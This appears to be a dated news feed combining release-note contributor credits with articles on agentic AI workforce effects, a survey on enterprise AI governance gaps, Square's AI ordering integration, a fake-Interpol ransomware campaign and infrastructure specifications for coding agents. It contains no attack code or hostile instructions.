@OutThisLife — desktop app (projects, memory graph, /journey, multi-terminal, composer refactor wave, pets, verification UX)

Top community contributors

@kshitijk4poor — the P0/P1 backlog burn: cron reliability wave, state perf, security (cron credential-exfil), gateway/signal, TUI config — a huge share of the priority closures
@benbarclay — relay Phase 5/6, scale-to-zero / drain coordination, dashboard auth/keys, gateway hardening
@ethernet8023 — CI/docker (unified jobs, faster builds, timings report)
@helix4u — Windows hardening (console flashes, npm shim, gateway restarts)

All contributors

@0xbyt4, @0xDevNinja, @0xsir0000, @1RB, @595650661, @aaronlab, @abchiaravalle, @adammatski1972, @AetherAgents,
@Afnath-max, @agt-user, @ahmadashfq, @AhmetArif0, @AIalliAI, @aieng-abdullah, @ailang323, @ailthrim, @aj-nt,
@alelpoan, @alloevil, @amathxbt, @ambition0802, @anderskev, @andressommerhoff, @angelos, @annguyenNous,
@Antimatter543, @arminanton, @arthurzhang, @asimons81, @austinpickett, @baolingao, @Bartok9, @basilalshukaili,
@BBCrypto-web, @bbopen, @Beandon13, @beardthelion, @benbarclay, @benbenlijie, @binhnt92, @bitcryptic-gw,
@Blaryxoff, @bogerman1, @bradhallett, @brett539, @briandevans, @buihongduc132, @bykim0119, @catapreta,
@chaithanyak42, @charleneleong-ai, @CharlieKerfoot, @chazmaniandinkle, @chrispersico, @Christopher-Schulze,
@chriswesley4, @claudlos, @clovericbot, @cmcejas, @codexGW, @Cossackx, @counterposition, @coygeek, @CRWuTJ,
@cyb0rgk1tty, @cyb3rwr3n, @cypctlinux, @cypres0099, @dalenguyen, @Danamove, @DanAsBjorn, @DataAdvisory,
@davidgut1982, @DavidMetcalfe, @davidvv, @de1tydev, @denisqq, @devorun, @devsart95, @DhivinX, @DiamondEyesFox,
@difujia, @Disaster-Terminator, @djimit, @djstunami, @dodo-reach, @donovan-yohan, @Dr1985, @DrZM007, @Dusk1e,
@egilewski, @ehz0ah, @Eji4h, @EloquentBrush0x, @Elshayib, @emozilla, @entropy-0x, @erosika, @EtherAura,
@etherman-os, @ethernet8023, @f-trycua, @fayenix, @fesalfayed, @firefly, @flamiinngo, @flobo3, @francescomucio,
@franksong2702, @friendshipisover, @fsaad1984, @fyzanshaik, @GauravPatil2515, @gdeyoung, @georgex8001,
@GodsBoy, @graphanov, @Gromykoss, @gustavosmendes, @Gutslabs, @H2KFORGIVEN, @haileymarshall, @hakanpak,
@happy5318, @haran2001, @harjothkhara, @heathley, @hehehe0803, @helix4u, @herbalizer404, @HexLab98,
@HiddenPuppy, @Hinotoi-agent, @HODLCLONE, @houko, @huangsen365, @huangxudong663-sys, @huangxun375-stack,
@HwangJohn, @iaji, @iamlukethedev, @IamSanchoPanza, @IAvecilla, @Icather, @iizotov, @indigokarasu,
@infinitycrew39, @ipriyaaanshu, @isair, @islam666, @itenev, @itsflownium, @izumi0uu, @Jaaneek, @JabberELF,
@jackjin1997, @jackroofan, @janrenz, @jasnoorgill, @jasonQin6, @jcjc81, @jearnest11, @jeeves-assistant,
@Jeffgithub0029, @jeffrobodie-glitch, @JezzaHehn, @jimmyjohansson84, @jmmaloney4, @jnibarger01, @JoaoMarcos44,
@jplew, @Junass1, @justemu, @justin-cyhuang, @JustinOhms, @jvradahellys24-art, @Kailigithub, @kaishi00,
@kangsoo-bit, @kartik-mem0, @keiravoss94, @kenyonxu, @kernel-t1, @Kewe63, @KeyArgo, @KiruyaMomochi, @kn8-codes,
@Kolektori, @konsisumer, @kshitijk4poor, @kyssta-exe, @Kyzcreig, @Lazymonter, @LehaoLin, @LeonSGP43, @lEWFkRAD,
@libre-7, @LIC99, @LifeJiggy, @linyubin, @liuhao1024, @lkevincc0, @lkz-de, @loes5050, @londo161, @lubosxyz,
@m24927605, @MaheshtheDev, @manus-use, @marco0158, @MarioYounger, @martinramos002-bot, @MattKotsenas,
@max-chen, @MaxFreedomPollard, @maxmilian, @maxpetrusenko, @memosr, @Mibayy, @Minksgo, @mintybasil, @mkslzk,
@mohamedorigami-jpg, @MorAlekss, @mrparker0980, @ms-alan, @namredips, @nankingjing, @natehale, @necoweb3,
@neo-2026, @Nickperillo, @nightq, @nikshepsvn, @nnnet, @nocturnum91, @nodejun, @NousResearch, @nycomar,
@OmarB97, @orbisai0security, @oreoluwa, @outsourc-e, @OutThisLife, @p-andhika, @panghuer023, @Paperclip,
@peetwan, @pefontana, @petrichor-op, @pinguarmy, @PINKIIILQWQ, @pmos69, @PolyphonyRequiem, @pprism13,
@PRATHAMESH75, @professorpalmer, @pyxl-dev, @Que0x, @qWaitCrypto, @r266-tech, @RafaelMiMi, @Railway9784,
@randomuser2026x, @rayjun, @rc-int, @rebel0789, @redactdeveloper, @riyas22, @rlaope, @rob-maron, @rodboev,
@rodrigoeqnit, @rratmansky, @rrevenanttt, @ruangraung, @Ruzzgar, @ryo-solo, @s010mn, @Sahil-SS9,
@SahilRakhaiya05, @SandroHub013, @Sanjays2402, @sasquatch9818, @ScotterMonk, @season179, @sgabel, @sgaofen,
@sgtworkman, @shandian64, @shannonsands, @shashwatgokhe, @shawchanshek, @sherman-yang, @SHL0MS, @SidUParis,
@SimoKiihamaki, @simpolism, @sjh9714, @skabartem, @skyc1e, @slawt, @soynchux, @spiky02plateau, @spjoes,
@sprmn24, @srojk34, @stepanov1975, @steveonjava, @Subway2023, @sweetcornna, @swissly, @Sworntech-dev,
@syahidfrd, @synapsesx, @szzhoujiarui-sketch, @talmax1124, @telos-oc, @testingbuddies24, @texhy, @tgmerritt,
@theAgenticBuilder, @thestral123, @tkwong, @Tortugasaur, @Tranquil-Flow, @trevorgordon981, @truenorth-lj,
@tt-a1i, @tuancookiez-hub, @TutkuEroglu, @tymrtn, @udatny, @UgwujaGeorge, @underthestars-zhy, @uperLu,
@uzunkuyruk, @valenteff, @valentt, @vanthinh6886, @Versun, @victor-kyriazakos, @virtuadex, @vKongv,
@w31rdm4ch1nZ, @weidzhou, @wgu9, @whoislikemiha, @wnuuee1, @woaini30050, @WuKongAI-CMU, @WuTianyi123, @WXBR,
@x7peeps, @x9x9x9x9x9x91, @Xowiek, @xxchan, @xxxigm, @xydigit-zt, @yapsrubricsz0, @yashiels, @yeyitech, @ygd58,
@YLChen-007, @yong2bba, @yoniebans, @ypwcharles, @yu-xin-c, @yungchentang, @yusekiotacode, @YuShu, @yyzquwu,
@zapabob, @zccyman, @zeapsu, @zmlgit, @znding04, @Zyxxx-xxxyZ

Also: Lucas Nicolas.

Full Changelog: v2026.6.19...v2026.7.1

Digital resilience compounds when AI and human expertise scale together

Wed, 01 Jul 2026 21:33:03 +0200

Presented by Splunk

Agentic AI is making IT and security teams dramatically more efficient. But it’s also removing the apprenticeship that has long produced experienced operators.

As organizations automate more of the work once performed by junior analysts and engineers, they’re confronting a challenge that’s as much about workforce design as architecture design: how to build the next generation of experts when AI handles the work that once trained them.

What the junior workforce has been doing

For two decades, the path to becoming a world-class SecOps analyst, SRE, or NetOps engineer ran through repetition.

Triaging false positives. Hunting through dashboards for context. Reading logs at 2 a.m. that turned out to be benign. The industry treated this work as drudgery, and in many ways it was.

But it also served as the apprenticeship.

The thousands of hours an analyst spent staring at traffic patterns built the intuition that made them invaluable when a real attack arrived. That intuition was not taught in a single course or captured in a runbook. It was accumulated through exposure, pattern recognition, failure, and escalation. Over time, this is how people earn deep analytical experience.

However, agentic AI is now beginning to automate the very tasks that once served as the training ground for that expertise. That is not a reason to slow down. The drudgery was costly. The burnout was real. Organizations should use agents to reduce toil wherever they can.

At the same time, as we remove that apprenticeship loop, we need to provide operators something better in its place. How organizations approach this issue today will determine the winners for the future.

Organizations that approach this deliberately will produce the operators skilled to succeed in the next decade. Organizations that punt on this may find themselves with faster systems today, but with fewer people who understand them deeply enough to govern them tomorrow.

When automation hollows out accountability

There is also a second dimension to this conversation that gets less attention than it should.

In regulated environments, the drudgery of apprenticeship is part of the accountability layer. Frameworks from SOX to PCI DSS to HIPAA to NIS2 assume there is a chain of human judgments behind a control decision.

Auditors do not interview models. They interview people who can explain why a system did what it did, why the decision was sound, and whether the right controls were in place.

When the population of professionals who can explain that chain begins to thin, the risk may not appear immediately. The control may still pass. The workflow may still be executed. The dashboard may still look green.

But the underlying organizational memory begins to hollow out.

This is not simply a tooling problem. It is also a workforce skill and design problem. And for organizations moving quickly on agentic adoption, the risk is closer than many think.

Building human expertise to govern AI

When we lose part of the accountability layer to agents, humans will step into a different type of governance role. Governing an agentic system means implementing automated guardrails that adapt to non-deterministic agent behavior and ensures agents behave appropriately under conditions no one fully anticipated. It means designing escalation criteria that catch the right anomalies without overwhelming humans with the wrong ones. It means implementing dynamic tools, alerts, and processes to review machine decisions to detect drift, bias, and reasoning failures that no individual case would reveal.

The ability to evaluate and respond to these exceptions requires judgment built over years of experience, learning pattern recognition that the old apprenticeship model used to produce.

That is why the workforce question and the architecture question are now the same question. If we expect humans to govern increasingly autonomous systems, we need intentional pathways that help people manage the scale and speed of AI systems while building the intuition and judgment in human operators required to do that work.

In the AI era, the most valuable platforms will not simply automate the most tasks. They will help people become more capable, more credible, and more essential as the systems around them become faster and more intelligent.

That means organizations need to invest in the full ecosystem of expertise for operators: communities that spread shared practices, certifications or other proofs that make expertise visible, and human-oriented explanations and verifications in the AI along with learning paths that build capability. Empowerment is an architecture design choice

Human empowerment is a critical part of the conversation around the practical use of AI. However, without an intentional strategy to back this up, it risks becoming the kind of phrase that means nothing because it can mean anything.

Empowerment for agentic systems cannot just be a conceptual requirement. It has to be a set of design choices baked into how systems behave. An agentic system that empowers its human operators and grows their professional skillset does four things:

1. Exposes reasoning, with the data lineage behind it

Every recommendation an agent makes should be traceable to the data it considered, the logic it applied, and the provenance of the inputs it used. Operators who can see reasoning develop judgment about when to trust it. Operators handed only conclusions do not.

2. Tiers authority by confidence and impact

Familiar, low-risk patterns can be handled autonomously. Novel situations or actions with meaningful blast radius should escalate by default. The boundary should be explicit and configurable by the teams that own the consequences.

3. Treats disagreements as a correction signal

When an experienced engineer overrides an agent, they are doing more than disagreeing. They are correcting the system with judgment the model did not have: a fragile dependency, a quirk in the environment, a constraint the data never saw. A system that registers the override but ignores the reasoning behind it learns nothing from the one moment a human knew better.

4. Captures resolutions as cross-domain knowledge

How an incident gets resolved is a lesson that rarely stays in one lane. A SecOps incident may expose an ITOps weakness. A network issue may trace back to business impact. When that connection lives only inside a closed ticket, the next team to hit it starts from zero. Resolutions should travel across domains, not die where they were filed.

These are not aspirational qualities. They are testable product capabilities. Leaders evaluating agentic systems should be able to identify where these capabilities live, what happens when they fail, and whether operator skill improves after deployment.

The next advantage is when human and AI scale together

For AI systems to be practical, trusted, and work at scale, the critical design point is for the AI to work deeply alongside and empower human operators.

As such, the agentic era is not a story about replacing humans. It is a story about redesigning the systems humans operate so that these operations can happen at machine speed and scale, while human expertise grows at the same time. Together, rather than at each other's expense.

That outcome is not a given. It will happen only where leaders treat operator development as a priority, not an afterthought. To achieve this, agentic systems have to be intentionally designed to expose reasoning, capture learning, and route work back to humans in ways that build skill and career rather than erode both.

The agents will keep getting smarter and faster. The ability of operators who work alongside them to learn and grow in lockstep, will determine whether the next decade of digital resilience is something organizations truly own, or something they rent from a shrinking pool of expertise.

Learn more about how Cisco Data Fabric powered by the Splunk Platform is helping teams accelerate agentic operations.

Kamal Hathi is SVP and GM of Splunk, a Cisco Company.

The Control Gap: Enterprise AI organizations have an ownership problem, not a technology problem — and most are governing it by hand

Wed, 01 Jul 2026 21:32:49 +0200

AI portfolios are expanding far faster than the ability to govern them across enterprises. Most organizations run a contested field of platforms, each claiming to be the “primary” AI layer; few could confidently detect a model drifting or failing in production; and the single most-cited barrier to control is the absence of any one owner accountable for AI across the stack. The result is a widening control gap — ambition and spend racing ahead of visibility, ownership, and cost control — with autonomous agents already producing real financial and operational failures.

This wave of VentureBeat Pulse Research examines the enterprise AI control gap: how many platforms claim to be the primary AI layer, who actually governs AI behavior across them, whether organizations could detect a model failing in production, what most blocks cross-platform governance, and how the financial and operational control failures of autonomous agents are already surfacing.

The central finding is a control gap — the distance between how aggressively enterprises are expanding AI and how little of it they can see, own, or govern. Just under three-fifths (58%) are net-adding AI initiatives, with “expanding significantly” the largest single posture.

Yet 85% run two or more platforms each claiming to be the “primary” AI layer and only 8% have consolidated to one. Against that contested surface, 40% say they are very confident they would detect a model drifting, behaving unsafely, or failing in production — but only 10% back that confidence with active monitoring and alerting, the rest leaning on manual human review. The machinery to expand AI is running well ahead of the machinery to control it.

The gap is, above all, a question of ownership. Only a third (38%) say a central team governs AI today, and a fifth (20%) say each platform team governs its own independently; the single most-cited barrier to cross-platform governance is the absence of a single accountable owner (32%), and roughly one in six (17%) say no role holds formal accountability at all. The same vacuum shows up in spend: just under half (49%) name shadow AI — unauthorized agentic pipelines run on corporate cards outside central oversight — as their most severe control failure, and another 25% have been hit by a runaway “infinite loop” agent bill. Enterprises have standardized the ambition well before they have standardized the control.

Methodology

VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on the enterprise AI control gap — governance, observability, and cost control across multiple AI platforms. Responses are filtered to organizations with 100 or more employees and, for this cut, exclude the respondents who selected “Other” as their job function, leaving a base of identifiable roles (n=145); all are drawn from a single Q2 2026 (June) wave.

By organization size the sample tilts toward the mid-market and lower-large bands: 100–499 and 500–2,499 employees (23% each) lead, with 10,000–49,999 (22%) and 2,500–9,999 (20%) close behind and 50,000+ at 11%. By role it is senior and technical: consultants and advisors (20%), CIO/CTO/CISO (18%), directors of engineering/IT (14%), product and program managers (13%), and enterprise architects (12%) make up the core. Technology/Software is the largest industry at 41%, followed by Financial Services and Professional Services (12% each) and Healthcare/Life Sciences and Manufacturing/Industrial (10% each).

The findings should be read as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. Where a single share would be fragile on its own, the report leans on the direction and grouping of responses rather than the exact percentage point.

Finding 1: Expansion is outrunning control

AI portfolios are growing faster than the means to govern them

We asked enterprises to describe how their AI portfolio has changed over the past 12 months. Growth leads — with a meaningful minority deliberately pulling back.

Expansion leads. Combining “expanding significantly” (33%) and “net positive growth” (25%), just under three-fifths of enterprises (58%) are net-adding AI initiatives. Yet a substantial share is easing off deliberately: roughly a quarter (23%) are actively rationalizing — scaling what works and cutting the rest — and another 12% hold their portfolios flat. Only a handful (3%) have paused to get governance in order first.

This is the engine behind every gap that follows: enterprises are accelerating into a landscape they have not yet learned to see or own, and a notable 4% cannot even describe their own portfolio. The ambition documented here is exactly what makes the visibility and ownership shortfalls in Findings 3 and 4 consequential rather than academic.

Finding 2: No single “primary” AI layer — the surface is contested

More than four in five run multiple platforms each claiming primacy

We asked how many enterprise platforms currently claim to be the organization’s “primary” AI layer — the ERP, EHR, ITSM, productivity suite, or data platform each positioning itself as the center of gravity. Almost no one has a single answer.

The defining condition is contested primacy. Adding the two multi-platform bands, 85% of enterprises have at least two platforms each asserting itself as the primary AI layer, and more than a third (36%) describe an open four-way-or-more contest. Only 8% have consolidated to a single layer, and another 6% have not even mapped the question. This is the structural reason governance is hard: there is no agreed center of gravity to govern from. Each platform brings its own AI, its own controls, and its own assumptions — and, as Finding 3 shows, the question of who governs across them increasingly has no settled answer.

Finding 3: Governance is claimed at the center but contested in practice

A central team owns it on paper; in practice, it's fragmenting

We asked who is actually responsible for governing AI behavior across all of those platforms today, and which function holds primary accountability. The headline answer is reassuring; the detail is not.

On the surface, a central governance function is the leading answer — but only a third (38%) claim one, well short of a majority. The rest of the distribution undercuts it further: a fifth (21%) say ownership is unclear or contested between teams, a fifth (20%) say each platform team simply governs its own AI independently, and 19% say no one has addressed it at all.

Accountability fragments further when we asked which role actually holds it — CIO/CTO/CISO leads at 27%, a Chief AI Officer or equivalent at 22%, and a striking 17% say no one holds formal accountability yet. Even where a central team is claimed, the named owner is most often the general technology executive rather than a dedicated AI authority. The governance function exists more often as an org-chart aspiration than an operating reality — the precondition for the detection gap in Finding 4.

Finding 4: The detection gap — confidence is real but largely manual

Only one in 10 have active monitoring and alerting

We asked how confident enterprises are that they would detect an AI model in production that was drifting, behaving unsafely, or failing to complete tasks correctly. This is the heart of the control gap.

This is the report’s central number. While 40% say they are very confident they would detect a failing model, the overwhelming majority of that confidence rests on manual human review (30%) rather than automation — just 10% have active monitoring and alerting actually in place.

At the other end, more than a quarter combine the two reactive answers — no systematic visibility (8%) and would hear it from end users first (19%) — meaning they would learn of a production failure after the fact, from the people it affected. The plurality (32%) sit in a hopeful middle, expecting to “catch most issues eventually.” Set against the aggressive expansion of Finding 1, this is the crux of the control gap — enterprises are scaling AI into production faster than they are building automated means to know when it breaks. Confidence is real, but it is largely manual, and automated detection remains the exception.

Finding 5: The missing owner is the biggest barrier

Governance stalls on accountability first, visibility second

We asked enterprises to name their single biggest barrier to governing AI across multiple platforms. The org chart tops the list.

The single missing owner leads at 32%, the most-cited barrier. Vendor opacity (25%) and the lack of tooling or infrastructure to observe across platforms (16%) sit behind, and together these two technical-visibility barriers (41%) outweigh the ownership gap. Leadership deprioritization accounts for another 17%, while a clear lack of talent is rare (5%). Rounding out the picture, another 5% say it isn't a barrier for them at all — they've already solved it.

Read together, the picture is more contested than the headline suggests: enterprises still most often name a missing owner, but a good share locate the obstacle in vendor black boxes and the absence of cross-platform observability.

Asked in a free-text question what one thing they would fix, respondents converged from different directions on the same answer — a single accountable owner, and a control plane that abstracts cost, drift, and model choice away from the end user.

Finding 6: The fine-tuning ROI reckoning

Roughly seven in 10 have little to show for custom model investment

We asked what share of the proprietary foundation models enterprises have invested in fine-tuning over the past 18 months have delivered clear, measurable positive ROI in production today. Most describe a sandbox graveyard — or a deliberate decision to avoid one.

Custom fine-tuning has, for most, not paid off. Combining the three disappointing outcomes — sandbox graveyard, strategic avoidance, and total write-off — roughly seven in ten (73%) either failed to get custom models into productive use or deliberately declined to try, against 27% for whom fine-tuned models are a reliable advantage. The largest single group (45%) remains the graveyard: projects too expensive or complex to maintain, stranded in development. Another quarter (24%) never started — they priced in the downstream maintenance burden and avoided it.

The signal is that many enterprises still treat bespoke model training as a cost trap, which helps explain the pragmatic, buy-and-blend vendor posture in Finding 7.

Finding 7: Vendor posture — hybrid by default, with defection rising

Enterprises blend open and closed models; more are now trimming a vendor

We asked two related questions: whether enterprises are shifting workloads toward open-weight models to escape API costs and lock-in, and which proprietary vendor, if any, they are most likely to phase out over the next year. The answers describe hedging — and a rising willingness to cut.

On open weights, a clear majority (51%) strike a hybrid balance, with a deliberate closed commitment second at 32% and a hard pivot to self-hosted open models at 16%. The hybrid plurality is the same instinct visible throughout this survey — keep optionality, avoid being trapped — while the closed group remains candid that the operational overhead of self-hosting still outweighs the savings for them.

On vendor defection, loyalty by inertia no longer leads: Microsoft is now the single most-named target (29%, often citing Copilot/Azure cutbacks in favor of direct model access), narrowly ahead of the 27% who are downsizing no one at all. OpenAI follows at 21% (citing pricing volatility), with Anthropic at 15% and Google at 6%. No single vendor faces a wholesale exodus, but among identifiable roles the balance has tipped from “expanding across all” toward actively trimming at least one provider.

Finding 8: The agentic spending crisis — shadow AI leads the failures

Unauthorized pipelines, not runaway loops, are the top control failure

Finally, we asked what the most severe financial or operational control failure enterprises have experienced as autonomous agents run over longer execution windows. Shadow AI tops the list — and very few have escaped a scare.

The control gap has a price, and it is being paid. Just under half of enterprises (49%) cite shadow AI — unauthorized agentic pipelines spun up on corporate cards outside any central oversight — as their most severe failure, the operational twin of the “no single owner” barrier in Finding 5. Another 25% have been burned by a runaway infinite-loop agent bill, and 6% by an agent that degraded production databases. Only 21% report guarded stability — the minority that has imposed hard token throttling and budget caps at the infrastructure layer and avoided surprises.

Put differently, roughly four in five of these enterprises (79%) have already experienced a real financial or operational control failure from autonomous AI, not merely worried about one. As with detection in Finding 4, the deterministic controls that would prevent these failures exist at only a fraction of organizations.

The bottom line: A control gap that spending cannot close on its own

Organizations with 100 or more employees describe AI programs that are expanding fast and governing slowly. Just under three-fifths are net-adding to their portfolios; more than four in five run a contested field of platforms with no agreed primary layer; and the thing they most often name as their chief obstacle is a single accountable owner. The visibility to match the ambition is largely manual — only 10% have active monitoring and alerting, and confidence in detecting a failing model rests mostly on human review rather than automation.

The consequences are already concrete rather than hypothetical. Custom fine-tuning has disappointed more often than not, pushing enterprises toward a hedged, hybrid, buy-and-blend model posture; and the autonomous agents now reaching production have produced real control failures for roughly four in five respondents, led by shadow AI running outside any central oversight. This reads as a directional signal rather than a precise measurement — but the direction is consistent across every question: ambition, spend, and deployment are racing ahead of ownership, observability, and cost control. The control gap is not a tooling problem that more spending will close on its own; it is, first, a question of who owns the answer.

Based on survey responses from 145 qualified enterprise respondents (100+ employees). Sample size is small; data should be treated as directional. Respondents include Directors, VPs, CIOs, CTOs, and Enterprise Architects across Technology, Financial Services, Retail, Healthcare, and other sectors.

A better way to control AI costs

Wed, 01 Jul 2026 20:33:49 +0200

Model routing – the next layer

So as is always the case, another layer of abstraction has come along. (Sic semper fuit.) Thus model routing is the latest way to maximize the value for each dollar spent on tokens.

From tokenmaxxing to tokenmatching

For example, Claude Code Router can route prompts to any number of popular models, depending on the type of work each prompt requires. And it’s open source.

Restaurants can now accept orders placed directly from ChatGPT and Claude thanks to Square's new, low-fee, no setup integration

Wed, 01 Jul 2026 18:04:06 +0200

Square is launching a new ChatGPT app and Claude plugin, enabling consumers to discover restaurants and seamlessly place orders directly within these AI platforms — and allowing restaurants, in turn, to accept orders from users and their AI agents without any technical capabilities.

Even more helpfully for businesses, Square is processing these AI-driven transactions without charging the traditional marketplace commission fees that have historically squeezed the food and beverage sector.

However, Square is still charging its typical online ordering fees of 3.3% plus $0.30 or 2.9% plus $0.30 per transaction for merchants subscribed to the Square Plus and Square Premium plans.

The system pulls straight from the live Square catalog, dynamically mapping items, pricing, complex modifiers, and stock availability so autonomous agents never display out-of-stock inventory.

For enterprise testing and deployment verification, operators can manually audit their digital footprint by using the "@" symbol to invoke the Order by Cash App plugin directly within ChatGPT or connecting it via the Claude extension directory.

Depending on the specific AI tool configuration, customers can either finalize checkout completely inside the chat window via Order by Cash App, or they will be seamlessly redirected to the merchant’s standard online ordering landing page with their chosen items and modifiers already fully populated in the basket.

A more affordable online order system for restaurants

To understand the significance of Square’s move, you have to look at the math that restaurant owners face in 2026. Third-party delivery and ordering apps have fundamentally altered the economics of the restaurant industry.

Currently, the major players—DoorDash, Uber Eats, and Grubhub—charge restaurants a hefty premium for visibility and fulfillment. These exorbitant rates exist primarily because delivery aggregators bundle the logistical costs of gig-worker delivery fleets, platform marketing, and search placement into a single revenue-sharing model.

According to recent pricing structures, DoorDash charges restaurants a 15% commission on its “Basic” delivery tier, which climbs to 25% for “Plus” and 30% for its top-tier “Premier” visibility plan. Even pickup orders carry a 6% marketplace fee.

Uber Eats similarly exacts standard delivery marketplace fees ranging from 20% on its “Lite” tier up to 30% for premium placement, with pickup orders costing up to 10% if in-store pricing isn't strictly validated.

Grubhub echoes these rates, taking between 5% and 20% of the total order value depending on the marketing and delivery package chosen.

On top of these marketplace commissions, platforms still tack on their own payment processing fees—typically around 2.5% to 3.05% plus a fixed cent amount per order.

For an independent restaurant that might only clear a 3% to 9% net profit on a good day, handing over a 25% or 30% commission on a $40 digital order essentially means preparing food at a loss.

Square’s new integration specifically targets this pain point. By tapping into Square's ChatGPT and Claude integrations, eligible sellers are opted in automatically with no additional setup, no new APIs to build, and, crucially, zero added marketplace fees.

Instead of surrendering a 30% cut to a delivery aggregator, a restaurant discovered through an AI agent only pays Square’s standard online transaction processing fee (which typically sits around 2.9% + 30¢ per transaction on a standard plan, with no monthly marketplace commission attached).

Unlike the delivery aggregators, Square’s fee model does not natively subsidize a driver network. Instead, if an AI-generated order requires delivery, Square utilizes a white-label dispatch network that charges a flat courier fee—often around $7 to $10 depending on distance—rather than taxing a percentage of the total basket size. Restaurants can choose to absorb this flat delivery cost or pass it directly to the customer, completely protecting their food margins.

The result is an AI-powered discovery channel that functions like direct, first-party ordering.

How the tech works

Square’s new integration is currently live for U.S.-based Food & Beverage sellers who have an activated Square Online Ordering profile.

The system operates entirely in the background. Sellers manage their discoverability and business information—menus, operating hours, stock levels, and pricing—directly through their existing Square Dashboard.

When a consumer prompts ChatGPT or Claude with a query like, “Find me a specialty coffee shop nearby with a great pour-over and order me a bag of their house roast,” the AI parses the real-time data provided by Square.

Customers can browse the results, make their selections, and finalize the purchase using Order by Cash App, all without leaving the chat interface.

The transaction is then routed instantly into the seller’s existing operational flow, popping up on their Square Point of Sale (POS) and Kitchen Display System just like an in-store or direct-website order.

To help operators track the return on this new channel, the origin of the order is clearly tagged as an AI integration within Square’s backend reporting.

“Consumer behaviors and preferences are constantly evolving, and business owners can easily find themselves playing an impossible game of catch-up,” said Morgan Kuntze, Global Partnerships Lead at Block, Square’s parent company. “Our investment into agentic commerce aims to offload that responsibility by giving operators time back, helping connect them with customers in their communities, and keeping them at the industry's cutting edge. Modern commerce is moving at a sprint, and we're building Square to help sellers appear everywhere customers are going.”

Focusing on tech to let restaurants focus on food

During its pilot phase, Square collaborated with Partners Coffee, a Brooklyn-based specialty coffee brand, to refine how AI-driven discovery translates into the real world. For operators like Partners Coffee, the goal isn't necessarily to become a hyper-digitized storefront, but rather to use digital efficiency to protect the physical experience of the cafe.

"We don't see coffee as transactional. To us, it's an opportunity to pause and reflect, a chance to unwind, and a catalyst for connection," noted Andrew Costaris, Digital VP at Partners Coffee, in a statement provided by Square to VentureBeat. "The last thing we want is for our technology solutions to work against this mission or complicate the customer experience. With agentic commerce and AI tools working in the background, we're confident knowing that our business is being digitally discovered and is consistently growing in efficiency, while our customers can continue to enjoy a lo-fi, specialty coffee-first environment."

An AI-driven e-commerce ecosystem

The integration with ChatGPT and Claude is only the first step in Square’s broader agentic commerce strategy. The stakes are high: industry data cited by the company indicates that more than 42% of consumers now use AI tools to assist with shopping tasks like product discovery and comparison. By 2030, analysts project that agentic shoppers could drive nearly $385 billion in U.S. ecommerce spending.

Most small and mid-size businesses simply do not have the developer teams or budgets required to build custom integrations for every new chatbot, voice assistant, or AI hardware device that hits the market. Square wants to serve as that universal connective tissue.

To that end, the company announced it is actively working with Amazon to bring sellers into Alexa+ voice commerce experiences. Furthermore, Square is participating in major regulatory and standards groups—including the AAIF Agentic Commerce Working Group and the W3C Web Payments Working Group—to shape how AI agents and commerce platforms interact at scale.

Particularly notable is Square’s ongoing partnership with Google to co-develop the Universal Commerce Protocol (UCP) spec for local food ordering. This open standard is designed to allow agents and systems to seamlessly communicate across the entire commerce journey. On Google’s end, UCP enables discovery and checkout across AI Overviews in Search and the Gemini app. As the UCP protocol expands globally, Square plans to roll out these capabilities so that its sellers remain front and center.

For the more than 4.5 million sellers currently using Square, the promise of agentic commerce is clear: a way to capture the next generation of internet traffic without sacrificing the profit margins required to keep their doors open. If Square can successfully route AI orders directly to local business's POS systems—sidestepping the 30% toll of the delivery aggregators—it could mark a massive shift in how the restaurant industry navigates the modern digital economy.

Fake Interpol Investigation Emails Push Ransomware at Small Businesses Globally

Wed, 01 Jul 2026 16:37:57 +0200

Fake Interpol investigation emails are targeting small businesses with Proton Drive links that deliver ransomware, encrypt files, and route victims to Tox chat. This article has been indexed from Hackread – Cybersecurity News, Data Breaches, AI and More Read the…

The post Fake Interpol Investigation Emails Push Ransomware at Small Businesses Globally appeared first on IT Security News.

Fake Interpol Investigation Emails Push Ransomware at Small Businesses Globally

Wed, 01 Jul 2026 16:24:03 +0200

Fake Interpol investigation emails are targeting small businesses with Proton Drive links that deliver ransomware, encrypt files, and route victims to Tox chat.

Preventing agent-generated infrastructure bloat through spec-driven governance

Wed, 01 Jul 2026 11:19:17 +0200

Autonomous AI engineer agents can deliver software at a scale in multiples of what a human engineering team can do, and that productivity is genuinely valuable. But without proper guardrails at the specification level, these agents can industrialise inefficient infrastructure patterns at the same pace, consistently and at a scale that makes post-deploy remediation impractical. When an agent provisions a three-node GKE cluster using n2-standard-16 machines for a workload a single e2-medium node could handle, or generates a Kubernetes pod spec with 4-CPU and 8GB memory requests for a service that peaks at 200 milli-cores and 256MB, or writes a Dockerfile that pulls a full Ubuntu base image where a distro-less container would serve, infrastructure runs that decision continuously, for the lifetime of the service. The agent will reproduce these patterns across every environment it touches, because the specification never instructed it otherwise. When agentic pipelines are generating infrastructure at scale, operational remediation after the fact becomes impractical.

The scale of what is now being generated autonomously is significant. InfoWorld’s reporting on AI-driven development shows the pace of AI-generated output is accelerating sharply, and projections suggest more than a quarter of new production code and configuration is already AI-generated. What those projections do not yet capture is the shift from AI-assisted to fully agentic pipelines, where agents generate Terraform, Kubernetes manifests, Helm charts and Docker configurations end-to-end, commit them and trigger deployment, with no human in the loop or little oversight that concentrates on functional capabilities. When that pipeline runs without sustainability constraints, it systematically reproduces that infrastructure inefficiency across every environment it touches.

Green software has traditionally been an operational problem: Right-size the containers retrospectively, tune the cluster after the fact, schedule workloads in low-carbon windows. That approach was already struggling before agentic pipelines arrived. Gartner projects that by 2027, just 30% of large enterprises will have software sustainability embedded in their non-functional requirements. That statistic carries a consequence most engineering leaders have not yet confronted: If 70% of enterprise code has been written without sustainability intent, then the training data autonomous AI engineer agents learned from is dominated by potentially unsustainable patterns. An agent defaults to the majority pattern in its training distribution, which is the inefficient one. This makes the specification constraint not just a governance need, but a corrective instruction that the agent’s training data never provided.

Sustainable specification as a reliable intervention point

In a fully agentic development pipeline, the specification is not a document an engineer reads before writing code. It is the instruction set the agent executes. It determines which machine types get provisioned, which container base images get selected, how pod resource requests are sized, how storage is allocated and how networking is configured. Every infrastructure decision the agent makes downstream is a function of what the specification permitted or left undefined.

